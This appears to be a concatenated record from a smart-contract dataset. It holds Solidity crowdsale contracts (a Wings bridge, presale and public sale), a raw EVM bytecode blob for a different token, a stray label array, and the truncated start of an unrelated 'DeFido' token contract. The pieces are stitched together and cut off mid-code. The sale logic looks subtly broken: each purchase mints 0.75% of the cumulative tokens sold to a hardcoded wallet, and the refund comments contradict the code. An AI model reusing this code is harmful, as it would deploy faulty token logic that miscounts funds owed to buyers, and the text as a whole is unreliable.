crowdsale is considered started, even if the current time is before startTimestamp started = true; CROWDSALE_START(_startTimestamp, _endTimestamp, _fundingAddress); } // must return true if crowdsale is over, but it failed function isFailed() public constant returns(bool) { return ( // it was started started && // crowdsale period has finished block.timestamp >= endTimestamp && // but collected ETH is below the required minimum totalCollected < minimalGoal ); } // must return true if crowdsale is active (i.e. the token can be bought) function isActive() public constant returns(bool) { return ( // it was started started && // hard cap wasn't reached yet totalCollected < hardCap && // and current time is within the crowdfunding period block.timestamp >= startTimestamp && block.timestamp < endTimestamp ); } // must return true if crowdsale completed successfully function isSuccessful() public constant returns(bool) { return ( // either the hard cap is collected totalCollected >= hardCap || // ...or the crowdfunding period is over, but the minimum has been reached (block.timestamp >= endTimestamp && totalCollected >= minimalGoal) ); } } // Minimal crowdsale token for custom contracts contract IWingsController { uint256 public ethRewardPart; uint256 public tokenRewardPart; } /* Implements custom crowdsale as bridge */ contract Bridge is BasicCrowdsale { using SafeMath for uint256; modifier onlyCrowdsale() { require(msg.sender == crowdsaleAddress); _; } // Crowdsale token StandardToken token; // Address of crowdsale address public crowdsaleAddress; // is crowdsale completed bool public completed; // Ctor. In this example, minimalGoal, hardCap, and price are not changeable. // In more complex cases, those parameters may be changed until start() is called. function Bridge( uint256 _minimalGoal, uint256 _hardCap, address _token, address _crowdsaleAddress ) public // simplest case where manager==owner. See onlyOwner() and onlyManager() modifiers // before functions to figure out the cases in which those addresses should differ BasicCrowdsale(msg.sender, msg.sender) { // just setup them once... minimalGoal = _minimalGoal; hardCap = _hardCap; crowdsaleAddress = _crowdsaleAddress; token = StandardToken(_token); } // Here goes ICrowdsaleProcessor implementation // returns address of crowdsale token. The token must be ERC20-compliant function getToken() public returns(address) { return address(token); } // called by CrowdsaleController to transfer reward part of // tokens sold by successful crowdsale to Forecasting contract. // This call is made upon closing successful crowdfunding process. function mintTokenRewards( address _contract, // Forecasting contract uint256 _amount // agreed part of totalSold which is intended for rewards ) public onlyManager() // manager is CrowdsaleController instance { // crowdsale token is mintable in this example, tokens are created here token.transfer(_contract, _amount); } // transfers crowdsale token from mintable to transferrable state function releaseTokens() public onlyManager() // manager is CrowdsaleController instance hasntStopped() // crowdsale wasn't cancelled whenCrowdsaleSuccessful() // crowdsale was successful { // empty for bridge } // Here go crowdsale process itself and token manipulations // default function allows for ETH transfers to the contract function () payable public { } function notifySale(uint256 _ethAmount, uint256 _tokensAmount) public hasBeenStarted() // crowdsale started hasntStopped() // wasn't cancelled by owner whenCrowdsaleAlive() // in active state onlyCrowdsale() // can do only crowdsale { totalCollected = totalCollected.add(_ethAmount); totalSold = totalSold.add(_tokensAmount); } // finish collecting data function finish() public hasntStopped() hasBeenStarted() whenCrowdsaleAlive() onlyCrowdsale() { completed = true; } // project's owner withdraws ETH funds to the funding address upon successful crowdsale function withdraw( uint256 _amount // can be done partially ) public onlyOwner() // project's owner hasntStopped() // crowdsale wasn't cancelled whenCrowdsaleSuccessful() // crowdsale completed successfully { // nothing to withdraw } // backers refund their ETH if the crowdsale was cancelled or has failed function refund() public { // nothing to refund } // called by CrowdsaleController to setup start and end time of crowdfunding process // as well as funding address (where to transfer ETH upon successful crowdsale) // Removed by RPE because it overrides and is not complete. // function start( // uint256 _startTimestamp, // uint256 _endTimestamp, // address _fundingAddress // ) // public // onlyManager() // manager is CrowdsaleController instance // hasntStarted() // not yet started // hasntStopped() // crowdsale wasn't cancelled // { // // just start crowdsale // started = true; // // CROWDSALE_START(_startTimestamp, _endTimestamp, _fundingAddress); // } // must return true if crowdsale is over, but it failed function isFailed() public constant returns(bool) { return ( false ); } // must return true if crowdsale is active (i.e. the token can be bought) function isActive() public constant returns(bool) { return ( // we remove timelines started && !completed ); } // must return true if crowdsale completed successfully function isSuccessful() public constant returns(bool) { return ( completed ); } function calculateRewards() public view returns(uint256,uint256) { uint256 tokenRewardPart = IWingsController(manager).tokenRewardPart(); uint256 ethRewardPart = IWingsController(manager).ethRewardPart(); uint256 tokenReward = totalSold.mul(tokenRewardPart) / 1000000; bool hasEthReward = (ethRewardPart != 0); uint256 ethReward = 0; if (hasEthReward) { ethReward = totalCollected.mul(ethRewardPart) / 1000000; } return (ethReward, tokenReward); } } contract Connector is Ownable { modifier bridgeInitialized() { require(address(bridge) != address(0x0)); _; } Bridge public bridge; function changeBridge(address _bridge) public onlyOwner { require(_bridge != address(0x0)); bridge = Bridge(_bridge); } function notifySale(uint256 _ethAmount, uint256 _tokenAmount) internal bridgeInitialized { bridge.notifySale(_ethAmount, _tokenAmount); } function closeBridge() internal bridgeInitialized { bridge.finish(); } } // Wings contracts: End //--------------------------------------------------------------- contract CommonTokensale is Connector, Pausable { using SafeMath for uint; CommonToken public token; // Token contract reference. CommonWhitelist public whitelist; // Whitelist contract reference. address public beneficiary; // Address that will receive ETH raised during this presale. address public bsWallet = 0x8D5bd2aBa04A07Bfa0cc976C73eD45B23cC6D6a2; bool public whitelistEnabled = true; uint public minPaymentWei; uint public defaultTokensPerWei; uint public minCapWei; uint public maxCapWei; uint public startTime; uint public endTime; // Stats for current tokensale: uint public totalTokensSold; // Total amount of tokens sold during this tokensale. uint public totalWeiReceived; // Total amount of wei received during this tokensale. // This mapping stores info on how many ETH (wei) have been sent to this tokensale from specific address. mapping (address => uint256) public buyerToSentWei; mapping (bytes32 => bool) public calledOnce; event ChangeBeneficiaryEvent(address indexed _oldAddress, address indexed _newAddress); event ChangeWhitelistEvent(address indexed _oldAddress, address indexed _newAddress); event ReceiveEthEvent(address indexed _buyer, uint256 _amountWei); function CommonTokensale( address _token, address _whitelist, address _beneficiary ) public Connector() { require(_token != 0); require(_whitelist != 0); require(_beneficiary != 0); token = CommonToken(_token); whitelist = CommonWhitelist(_whitelist); beneficiary = _beneficiary; } modifier canBeCalledOnce(bytes32 _flag) { require(!calledOnce[_flag]); calledOnce[_flag] = true; _; } /** NOTE: _newValue should be in ETH. */ function updateMinCapEthOnce(uint _newValue) public onlyOwner canBeCalledOnce("updateMinCapEth") { minCapWei = _newValue * 1e18; } /** NOTE: _newValue should be in ETH. */ function updateMaxCapEthOnce(uint _newValue) public onlyOwner canBeCalledOnce("updateMaxCapEth") { maxCapWei = _newValue * 1e18; } function updateTokensPerEthOnce(uint _newValue) public onlyOwner canBeCalledOnce("updateTokensPerEth") { defaultTokensPerWei = _newValue; recalcBonuses(); } function setBeneficiary(address _beneficiary) public onlyOwner { require(_beneficiary != 0); ChangeBeneficiaryEvent(beneficiary, _beneficiary); beneficiary = _beneficiary; } function setWhitelist(address _whitelist) public onlyOwner { require(_whitelist != 0); ChangeWhitelistEvent(whitelist, _whitelist); whitelist = CommonWhitelist(_whitelist); } function setWhitelistEnabled(bool _enabled) public onlyOwner { whitelistEnabled = _enabled; } /** The fallback function corresponds to a donation in ETH. */ function() public payable { sellTokensForEth(msg.sender, msg.value); } function sellTokensForEth( address _buyer, uint256 _amountWei ) ifNotPaused internal { // Check that buyer is in whitelist onlist if whitelist check is enabled. if (whitelistEnabled) require(whitelist.isAllowed(_buyer)); require(startTime <= now && now <= endTime); require(_amountWei >= minPaymentWei); require(totalWeiReceived < maxCapWei); uint256 newTotalReceived = totalWeiReceived.add(_amountWei); // Don't sell anything above the hard cap if (newTotalReceived > maxCapWei) { uint refundWei = newTotalReceived.sub(maxCapWei); // Send the ETH part which exceeds the hard cap back to the buyer: _buyer.transfer(refundWei); _amountWei = _amountWei.sub(refundWei); } uint tokensE18 = weiToTokens(_amountWei); // Transfer tokens to buyer. token.sell(_buyer, tokensE18); // Update total stats: totalTokensSold = totalTokensSold.add(tokensE18); totalWeiReceived = totalWeiReceived.add(_amountWei); buyerToSentWei[_buyer] = buyerToSentWei[_buyer].add(_amountWei); ReceiveEthEvent(_buyer, _amountWei); // 0.75% of sold tokens go to BS account. uint bsTokens = totalTokensSold.mul(75).div(10000); token.sell(bsWallet, bsTokens); // Notify Wings about successful sale of tokens: notifySale(_amountWei, tokensE18); } function amountPercentage(uint _amount, uint _per) public pure returns (uint) { return _amount.mul(_per).div(100); } function tokensPerWeiPlusBonus(uint _per) public view returns (uint) { return defaultTokensPerWei.add( amountPercentage(defaultTokensPerWei, _per) ); } /** Calc how much tokens you can buy at current time. */ function weiToTokens(uint _amountWei) public view returns (uint) { return _amountWei.mul(tokensPerWei(_amountWei)); } function recalcBonuses() internal; function tokensPerWei(uint _amountWei) public view returns (uint256); function isFinishedSuccessfully() public view returns (bool) { return now >= endTime && totalWeiReceived >= minCapWei; } function canWithdraw() public view returns (bool); /** * This method allows to withdraw to any arbitrary ETH address. * This approach gives more flexibility. */ function withdraw(address _to, uint256 _amount) public { require(canWithdraw()); require(msg.sender == beneficiary); require(_amount <= this.balance); _to.transfer(_amount); } function withdraw(address _to) public { withdraw(_to, this.balance); } /** If there is ETH rewards and all ETH already withdrawn. */ function deposit() public payable { require(isFinishedSuccessfully()); } /** * This function should be called only once only after * successfully finished tokensale. Once - because Wings bridge * will be closed at the end of this function call. */ function sendWingsRewardsOnce() public onlyOwner canBeCalledOnce("sendWingsRewards") { require(isFinishedSuccessfully()); uint256 ethReward = 0; uint256 tokenReward = 0; (ethReward, tokenReward) = bridge.calculateRewards(); if (ethReward > 0) { bridge.transfer(ethReward); } if (tokenReward > 0) { token.sell(bridge, tokenReward); } // Close Wings bridge closeBridge(); } } contract Presale is CommonTokensale { uint public tokensPerWei10; uint public tokensPerWei15; uint public tokensPerWei20; function Presale( address _token, address _whitelist, address _beneficiary ) CommonTokensale( _token, _whitelist, _beneficiary ) public { minCapWei = 0 ether; // No min cap at presale. maxCapWei = 8000 ether; // TODO 5m USD. To be determined based on ETH to USD price at the date of presale. // https://www.epochconverter.com/ startTime = 1525701600; // May 7, 2018 4:00:00 PM GMT+02:00 endTime = 1526306400; // May 14, 2018 4:00:00 PM GMT+02:00 minPaymentWei = 5 ether; // Hint: Set to lower amount (ex. 0.001 ETH) for tests. defaultTokensPerWei = 4808; // TODO To be determined based on ETH to USD price at the date of sale. recalcBonuses(); } function recalcBonuses() internal { tokensPerWei10 = tokensPerWeiPlusBonus(10); tokensPerWei15 = tokensPerWeiPlusBonus(15); tokensPerWei20 = tokensPerWeiPlusBonus(20); } function tokensPerWei(uint _amountWei) public view returns (uint256) { if (5 ether <= _amountWei && _amountWei < 10 ether) return tokensPerWei10; if (_amountWei < 20 ether) return tokensPerWei15; if (20 ether <= _amountWei) return tokensPerWei20; return defaultTokensPerWei; } /** * During presale it is possible to withdraw at any time. */ function canWithdraw() public view returns (bool) { return true; } } // Main sale contract. contract PublicSale is CommonTokensale { uint public tokensPerWei5; uint public tokensPerWei7; uint public tokensPerWei10; // In case min (soft) cap is not reached, token buyers will be able to // refund their contributions during one month after sale is finished. uint public refundDeadlineTime; // Total amount of wei refunded if min (soft) cap is not reached. uint public totalWeiRefunded; event RefundEthEvent(address indexed _buyer, uint256 _amountWei); function PublicSale( address _token, address _whitelist, address _beneficiary ) CommonTokensale( _token, _whitelist, _beneficiary ) public { minCapWei = 3200 ether; // TODO 2m USD. Recalculate based on ETH to USD price at the date of presale. maxCapWei = 16000 ether; // TODO 10m USD. Recalculate based on ETH to USD price at the date of presale. startTime = 1526392800; // 2018-05-15T14:00:00Z endTime = 1528639200; // 2018-06-10T14:00:00Z refundDeadlineTime = endTime + 30 days; minPaymentWei = 0.05 ether; // Hint: Set to lower amount (ex. 0.001 ETH) for tests. defaultTokensPerWei = 4808; // TODO To be determined based on ETH to USD price at the date of sale. recalcBonuses(); } function recalcBonuses() internal { tokensPerWei5 = tokensPerWeiPlusBonus(5); tokensPerWei7 = tokensPerWeiPlusBonus(7); tokensPerWei10 = tokensPerWeiPlusBonus(10); } function tokensPerWei(uint _amountWei) public view returns (uint256) { if (0.05 ether <= _amountWei && _amountWei < 10 ether) return tokensPerWei5; if (_amountWei < 20 ether) return tokensPerWei7; if (20 ether <= _amountWei) return tokensPerWei10; return defaultTokensPerWei; } /** * During presale it will be possible to withdraw only in two cases: * min cap reached OR refund period expired. */ function canWithdraw() public view returns (bool) { return totalWeiReceived >= minCapWei || now > refundDeadlineTime; } /** * It will be possible to refund only if min (soft) cap is not reached and * refund requested during 3 months after presale finished. */ function canRefund() public view returns (bool) { return totalWeiReceived < minCapWei && endTime < now && now <= refundDeadlineTime; } // TODO function refund() public { require(canRefund()); address buyer = msg.sender; uint amount = buyerToSentWei[buyer]; require(amount > 0); RefundEthEvent(buyer, amount); buyerToSentWei[buyer] = 0; totalWeiRefunded = totalWeiRefunded.add(amount); buyer.transfer(amount); } } // >> Start: // >> EXAMPLE: How to deploy Token, Whitelist and Presale. // token = new CommonToken( // 0x123 // TODO Set seller address // ); // whitelist = new CommonWhitelist(); // presale = new Presale( // token, // whitelist, // 0x123 // TODO Set beneficiary address // ); // token.addOwner(presale); // << EXAMPLE: How to deploy Token, Whitelist and Presale. // << End // Should be deployed after Presale capmaign successfully ended. // TODO After PublicSale deployed, call token.addOwner(address_of_deployed_public_sale) contract ProdPublicSale is PublicSale { function ProdPublicSale() PublicSale( 0x123, // TODO Set token address 0x123, // TODO Set whitelist address 0x123 // TODO Set beneficiary address ) public {} }
0x608060405260043610610149576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461014e57806308551a53146101de578063095ea7b3146102355780630db026221461029a578063173825d9146102cb57806318160ddd1461030e57806323b872dd146103395780632f54bf6e146103be578063313ce56714610419578063370348531461044a57806342966c6814610475578063461fc090146104ba578063518ab2a8146105275780636605ff66146105525780636c197ff51461057d5780637065cb48146105e257806370a08231146106255780637c9473f61461067c5780637e26639f146106e157806395d89b411461070c578063a69df4b51461079c578063a9059cbb146107b3578063cd3a376a14610818578063cf30901214610873578063dd62ed3e146108a2575b600080fd5b34801561015a57600080fd5b50610163610919565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a3578082015181840152602081019050610188565b50505050905090810190601f1680156101d05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ea57600080fd5b506101f3610952565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561024157600080fd5b50610280600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610978565b604051808215151515815260200191505060405180910390f35b3480156102a657600080fd5b506102af610a6a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d757600080fd5b5061030c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a7d565b005b34801561031a57600080fd5b50610323610c1f565b6040518082815260200191505060405180910390f35b34801561034557600080fd5b506103a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c25565b604051808215151515815260200191505060405180910390f35b3480156103ca57600080fd5b506103ff600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cab565b604051808215151515815260200191505060405180910390f35b34801561042557600080fd5b5061042e610ccb565b604051808260ff1660ff16815260200191505060405180910390f35b34801561045657600080fd5b5061045f610cd0565b6040518082815260200191505060405180910390f35b34801561048157600080fd5b506104a060048036038101908080359060200190929190505050610cdd565b604051808215151515815260200191505060405180910390f35b3480156104c657600080fd5b506104e560048036038101908080359060200190929190505050610e44565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561053357600080fd5b5061053c610e82565b6040518082815260200191505060405180910390f35b34801561055e57600080fd5b50610567610e88565b6040518082815260200191505060405180910390f35b34801561058957600080fd5b506105c8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e8e565b604051808215151515815260200191505060405180910390f35b3480156105ee57600080fd5b50610623600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611299565b005b34801561063157600080fd5b50610666600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114bc565b6040518082815260200191505060405180910390f35b34801561068857600080fd5b506106c7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611505565b604051808215151515815260200191505060405180910390f35b3480156106ed57600080fd5b506106f6611523565b6040518082815260200191505060405180910390f35b34801561071857600080fd5b50610721611532565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610761578082015181840152602081019050610746565b50505050905090810190601f16801561078e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107a857600080fd5b506107b161156b565b005b3480156107bf57600080fd5b506107fe600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611627565b604051808215151515815260200191505060405180910390f35b34801561082457600080fd5b50610859600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116ab565b604051808215151515815260200191505060405180910390f35b34801561087f57600080fd5b506108886119ea565b604051808215151515815260200191505060405180910390f35b3480156108ae57600080fd5b50610903600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119fd565b6040518082815260200191505060405180910390f35b6040805190810160405280601281526020017f57686974652052616262697420546f6b656e000000000000000000000000000081525081565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600560009054906101000a900460ff1681565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610ad557600080fd5b6001600560009054906101000a900460ff1660ff16111515610af657600080fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b4e57600080fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005600081819054906101000a900460ff16809291906001900391906101000a81548160ff021916908360ff160217905550508073ffffffffffffffffffffffffffffffffffffffff167f6740775dd30bf47d42458b7044f4a4b0a275934f8a4f9269c8af6ab00b3a1e4560405160405180910390a250565b60005481565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610c8c5750600860009054906101000a900460ff16155b1515610c9757600080fd5b610ca2848484611a84565b90509392505050565b60036020528060005260406000206000915054906101000a900460ff1681565b601281565b6000600480549050905090565b60008082111515610ced57600080fd5b610d3f82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6a90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d9782600054611d6a90919063ffffffff16565b60008190555060003373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b600481815481101515610e5357fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b60075481565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610ee857600080fd5b60006a5b27c1f86bd0b11b0000001115610f2b576a5b27c1f86bd0b11b000000610f1d83600654611d8390919063ffffffff16565b11151515610f2a57600080fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f6757600080fd5b600082111515610f7657600080fd5b60016000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610fe657600080fd5b61105a8260016000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6a90919063ffffffff16565b60016000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061111182600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8390919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360076000815480929190600101919050555061120282600654611d8390919063ffffffff16565b6006819055508273ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f0b3929429b6ca2aa942889a74e3f9ef00786badc6df639433c7e6b8452f794f4846040518082815260200191505060405180910390a36001905092915050565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156112f157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561132d57600080fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561138657600080fd5b60048190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005600081819054906101000a900460ff168092919060010191906101000a81548160ff021916908360ff160217905550508073ffffffffffffffffffffffffffffffffffffffff167f0775e4f247a7723929d271ccf476b51fb4284053cb3fd6cf3400228a9c02dbb860405160405180910390a250565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600061151b83670de0b6b3a76400008402610e8e565b905092915050565b6a5b27c1f86bd0b11b00000081565b6040805190810160405280600381526020017f575254000000000000000000000000000000000000000000000000000000000081525081565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156115c357600080fd5b600860009054906101000a900460ff1615156115de57600080fd5b6000600860006101000a81548160ff0219169083151502179055507f70e3fffea7bbb557facdee48ed7f7af5179030adef9ad0c876df039a718f359e60405160405180910390a1565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061168e5750600860009054906101000a900460ff16155b151561169957600080fd5b6116a38383611d9f565b905092915050565b6000806000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561170857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561174457600080fd5b8373ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156117a157600080fd5b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415156117ef57600080fd5b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a383600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fad973c8ce253a4b476e472c552af0ea70aa2fb722d93b5871dfa8a77306a695b60405160405180910390a3600192505050919050565b600860009054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611ac157600080fd5b611b1382600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6a90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ba882600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8390919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c7a82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6a90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000828211151515611d7857fe5b818303905092915050565b60008183019050828110151515611d9657fe5b80905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611ddc57600080fd5b611e2e82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6a90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ec382600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8390919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a723058202eeab82f636e7869738751d3aa1503e5d94e854f75bccfe165150fed226a53a80029
[ 13, 16, 5, 18 ]
0xf32122561d51E891B823Dec2B42F644884c1Cd91
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/utils/math/SafeMath.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; import '@openzeppelin/contracts/utils/Address.sol'; import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol'; import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol'; import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol'; contract DeFido is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; address payable public marketingAddress = payable(0x55397d991ec9A3E74AA9F6A5fdbcba2ce222Fc7C); // Marketing Address address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isSniper; address[] private _confirmedSnipers; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 128000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'DeFido'; string private _symbol = 'DEFIDO'; uint8 private _decimals = 9; uint256 public _taxFee = 4; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 4; uint256 private _previousLiquidityFee = _liquidityFee; uint256 public _feeRate = 4; uint256 launchTime; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool inSwapAndLiquify; bool tradingOpen = false; event SwapETHForTokens(uint256 amountIn, address[] path); event SwapTokensForETH(uint256 amountIn, address[] path); modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() { _rOwned[_msgSender()] = _rTotal; emit 